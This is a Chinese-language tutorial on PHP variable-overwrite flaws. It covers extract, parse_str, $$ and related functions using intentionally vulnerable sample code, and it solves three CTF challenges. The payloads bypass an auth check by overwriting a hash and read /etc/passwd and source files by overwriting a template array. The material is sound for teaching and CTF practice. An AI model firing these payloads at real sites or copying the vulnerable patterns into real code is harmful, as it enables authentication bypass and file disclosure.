变量覆盖

定义

变量覆盖指的是可以用我们的传参值替换程序原有的变量值

变量覆盖的场景

能造成变量覆盖的相关函数:

  • extract()
  • parse_str()
  • $$
  • mb_parse_str()
  • import_request_variables() deprecated in >= PHP 5.4.0
  • array_merge()
  • register_globals

相关函数的认识

extract

extract — 从数组中将变量导入到当前的符号表

参数 作用
array 一个关联数组,此函数会将数组的键名作为变量名,相应的值作为变量的值。 对每个键/值对都会在当前的符号表中建立变量
other 其他参数请参考官方文档

详细请参考:https://www.php.net/manual/zh/function.extract.php

示例:

1
2
3
4
5
6
7
8
9
<?php 
$arr = array('name' => 'x1ong', 'age' => '20', 'address' => 'Henan');

extract($arr);

echo($name) . "\n";
echo($age) . "\n";
echo($address) . "\n";
?>

运行结果如下:

image-20240218083316165

可以看到,extract 函数已经将关联数组中的相关键转化为变量,并将其键所相对应的值,作为相应变量的值。

案例1:

1
2
3
4
5
6
7
8
9
<?php 
$flag = false;
extract($_GET);
if ($flag) {
echo "success";
} else {
echo "fail";
}
?>

由于 $_GET 变量的值为一个关联数组,其值来自于 GET 传参,将 GET 传参的键名作为数组中的键名,将 GET 传参的值作为数组中相应键的值。

image-20240218083909321

故而直接传入 ?flag=true(注意这里传入任意字符串都可以,只要不为空,因为这里会发生类型转换) ,接着通过 extract() 函数就会将其转为相应的变量和值,从而覆盖原有 $flag 变量的值。

image-20240218083643330

案例2:

1
2
3
4
5
6
7
8
9
<?php 
$flag = array('name'=>'guest');
extract($_GET);
if ($flag['name'] == 'admin') {
echo "admin";
} else {
echo "not admin";
}
?>

我们需要将 $flag 变量的值 覆盖为 array('name'=>'admin') ,在 GET 请求中,我们是可以传入索引数组和关联数组的。可参考:GET传入索引或关联数组

image-20240218085450827

parse_str

parse_str — 将字符串解析成多个变量

参数 作用
string 输入的字符串
result 如果设置了第二个参数 result, 变量将会以数组元素的形式存入到这个数组,作为替代。

详细请参考:https://www.php.net/manual/zh/function.parse-str

示例1:

1
2
3
4
5
6
7
<?php 
$str = 'name=x1ong&age=20&address=Henan';
parse_str($str);
echo $name . "\n";
echo $age . "\n";
echo $address . "\n";
?>

注意: 该函数接收的是一个字符串,故而不能直接通过 GET 传入 一般配合 $_SERVER['QUERY_STRING'] 全局变量使用。

程序运行结果:

image-20240218083316165

示例2:

image-20240218090530272

当设置了 result 参数之后,则会将 参数和值 作为关联数组,存到 result 参数定义的变量中。并不会直接创建 name、age、address 变量。

警告:极度不建议在没有 result 参数的情况下使用此函数, 并且在 PHP 7.2 中将废弃不设置参数的行为。PHP 8.0.0 起,result 参数是强制的

案例1:

1
2
3
4
5
6
7
8
9
10
<?php 
$flag = false;
$query = $_SERVER['QUERY_STRING'];
parse_str($query)
if ($flag) {
echo "success";
} else {
echo "fail";
}
?>

image-20240218091029835

$$

$$ 产生的漏洞主要是因为foreach遍历数组的值,然后将获取的数组键名作为变量,数组中的值作为变量的值。

foreach循环只适用于数组,并用于遍历数组中的每个 键/值 对。

1
2
3
4
5
6
7
<?php 
$arr = array('name' => 'x1ong','age' => 18, 'address' => 'Henan');

foreach ($arr as $key => $value) {
echo $value . "\n";
}
?>

$$符号在 php 中叫做可变变量,可以使变量名动态设置。举个例子:

1
2
3
4
5
6
<?php
$a='hello';
$$a='world';
echo "$a ${$a}"; // hello world
echo "$a $hello"; // hello world
?>

可以看到在这里${$a}等同于$hello,接着我们再来看怎么来进行变量覆盖:

案例1:

1
2
3
4
5
$auth=0;
foreach ($_GET as $key => $value) {
$$key=$value;
}
echo $auth;

image-20240218102507916

案例2:

1
2
3
4
5
6
7
8
<?php
$a = 1;
foreach (array('_COOKIE', '_POST', '_GET') as $_request) {
foreach ($$_request as $_key => $_value) {
$$_key = addslashes($_value);
}
}
echo $a;

foreach (array('_COOKIE', '_POST', '_GET') as $_request) {

上述代码依次遍历赋值给 $_request,接着 $$_request 就依次等于 $_COOKIE$_GET$_POST

1
2
3
foreach ($$_request as $_key => $_value) {
$$_key = addslashes($_value);
}

以上代码就会遍历来自$_COOKIE$_GET$_POST 传入的值,并将参数名作为变量( $$_key 的作用) ,参数值作为变量的值。

因此我们传入 ?a=2 则会将变量 a 的值 重新赋值为 2。

image-20240218104412402

mb_parse_str

mb_parse_str — 解析 GET/POST/COOKIE 数据并设置全局变量

参数 作用
string URL 编码过的数据
result 一个 array,包含解码过的、编码转换后的值。

具体用法与 mb_parse_str 函数基本一致。

import_request_variables

该函数从 php5.3 开始就被废弃了。因此只做了解

1
2
3
4
5
6
7
8
<?php 
// 导入 POST 提交的变量值,前缀为 post_
import_request_variables("p", "post_");
// 导入 GET 和 POST 提交的变量值,前缀为gp_, GET 优先于 POST
import_request_variables("gp", "gp_");
// 导入 Cookie 和 GET 的变量值,Cookie 变量值优先于 GET
import_request_variables("cg", "cg_");
?>

1677919031_640303379e6d8cbf92df7

具体参考:http://php.adamharvey.name/manual/zh/function.import-request-variables.php

例题-1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
if (!isset($_GET['id'])) {
show_source(__FILE__);
die;
}
include_once("flag.php");
$a = "TESTCTF";
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5(QNKCDZO)) {
die($flag);
} else {
die("emmm");
}
?>

关键代码:

1
2
3
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5(QNKCDZO)) {
die($flag);
}

我们将 QNKCDZO 进行 MD5 加密之后,发现得到 一个 0e开头 后面全数字的值,并且 第二个条件使用的是 == 因此存在弱类型比较,我们只需要让 $a 数组索引为 0 的值 为 s878926199a 或 其他符合要求的即可。

image-20240218125851458

但是由于 $a 变量的值固定为 TESTCTF 但是由于 parse_str 存在,且在 $a 变量定义后调用,其参数 id 我们可控,故而我们只需要将 id 的值 设置为关联数组 即可实现变量覆盖。

构造 PAYLOAD:

1
?id=a[]=s878926199a

image-20240218130328827

例题-2

该例题来自于:ISCC 2019 web4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php 
error_reporting(0);
include("flag.php");
$hashed_key = 'ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482b0feea05a';
$parsed = parse_url($_SERVER['REQUEST_URI']);
if(isset($parsed["query"])){
$query = $parsed["query"];
$parsed_query = parse_str($query);
if($parsed_query!=NULL){
$action = $parsed_query['action'];
}

if($action==="auth"){
$key = $_GET["key"];
$hashed_input = hash('sha256', $key);
if($hashed_input!==$hashed_key){
die("no");
}

echo $flag;
}
}else{
show_source(__FILE__);
}?>

通过代码审计我们可以得知,题目考点是变量覆盖,通过 parse_str() 函数可实现变量覆盖。

这里需要注意的是,parse_str() 函数是没有返回值的,故而变量 $parsed_query 的值为 NULL:

1
2
3
4
$parsed_query = parse_str($query);  
if($parsed_query!=NULL){
$action = $parsed_query['action']; // parse_str 返回值为 NULL 故而不会走这行代码
}

接着我们通过 GET 请求传入 action=auth 经过 parse_str() 函数处理之后,$action 变量的值为 auth,从而下列条件成立:

1
2
3
4
5
6
7
if($action==="auth"){ 
$key = $_GET["key"];
$hashed_input = hash('sha256', $key);
if($hashed_input!==$hashed_key){
die("no");
}
echo $flag;

但是这里我们有个条件我们通过 GET 请求传入的 key 经过 sha256 要与 $hashed_key 变量的值一致,由于 $hashed_key 是密文,我们无法进行解密,故而此路应该是不通的。

但是由于存在 $hashed_key 变量在 parse_str 函数之前就定义了,同时 parse_str 函数的参数我们可控。于是可以 覆盖掉 $hashed_key 的值。

image-20240218114631527

构造 PAYLOAD:

1
?action=auth&key=x1ongsec&hashed_key=72bf62a54f52b67c16cdab542d8dbe97018bf67e94aab3e277ca2eb99325cf8f

image-20240218114733092

例题-3

例题来自于:[DASCTF 2020圣诞赛] WEB-easyphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
error_reporting(E_ALL);
$sandbox = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']);
if(!is_dir($sandbox)) {
mkdir($sandbox);
}

include_once('template.php');

$template = array('tp1'=>'tp1.tpl','tp2'=>'tp2.tpl','tp3'=>'tp3.tpl');

if(isset($_GET['var']) && is_array($_GET['var'])) {
extract($_GET['var'], EXTR_OVERWRITE);
} else {
highlight_file(__file__);
die();
}

if(isset($_GET['tp'])) {
$tp = $_GET['tp'];
if (array_key_exists($tp, $template) === FALSE) {
echo "No! You only have 3 template to reader";
die();
}
$content = file_get_contents($template[$tp]);
$temp = new Template($content);
} else {
echo "Please choice one template to reader";
}
?>

这里我们先分析一下代码的功能,首先看如下代码:

image-20240218122308818

源码原本实现了一个模板渲染的功能,但是加入了不相干的代码(上图中的代码块1)并在里面使用了 extract() 函数其参数我们可控,因此可能存在 变量覆盖。

在 CTF 比赛中,原本代码可以实现某个功能,但是加入了一些不相干的代码,往往这段代码就是解题的关键。

image-20240218122831665

由于 $templateextract 函数之前被定义,故而可以进行值的覆盖。这里我们需要覆盖 $template 其值为数组类型。假设为:array('tp1'=>'/etc/passwd')

构造 PAYLOAD:

1
?var[template][tp1]=/etc/passwd

image-20240218123454288

此时就会将 template 变量的值修改为 array('tp1'=>'/etc/passwd'),接着我们使用该模版进行渲染即可:

1
?var[template][tp1]=/etc/passwd&tp=tp1

image-20240218123212316

访问渲染之后的文件,内容则是 /etc/passwd,即可实现文件读取的效果。

image-20240218123224484

最后我们读取 template.php 文件:

1
?var[template][tp1]=template.php&tp=tp1

image-20240218123545199

访问得到 template.php 的源码:

image-20240218123614982

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
class Template{
public $content;
public $pattern;
public $suffix;

public function __construct($content){
$this->content = $content;
$this->pattern = "/{{([a-z]+)}}/";
$this->suffix = ".html";
}

public function __destruct() {
$this->render();
}
public function render() {
while (True) {
if(preg_match($this->pattern, $this->content, $matches)!==1)
break;
global ${$matches[1]};

if(isset(${$matches[1]})) {
$this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content);
}
else{
break;
}
}
if(strlen($this->suffix)>5) {
echo "error suffix";
die();
}
$filename = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']) . "/" . md5($this->content) . $this->suffix;
file_put_contents($filename, $this->content);
echo "Your html file is in " . $filename;
}
}
?>

这里我们可以利用 phar 反序列化进行 RCE,由于现在是对变量覆盖进行总结,故而暂不加入其他知识点,后续在反序列化总结中,我们在来看这道题。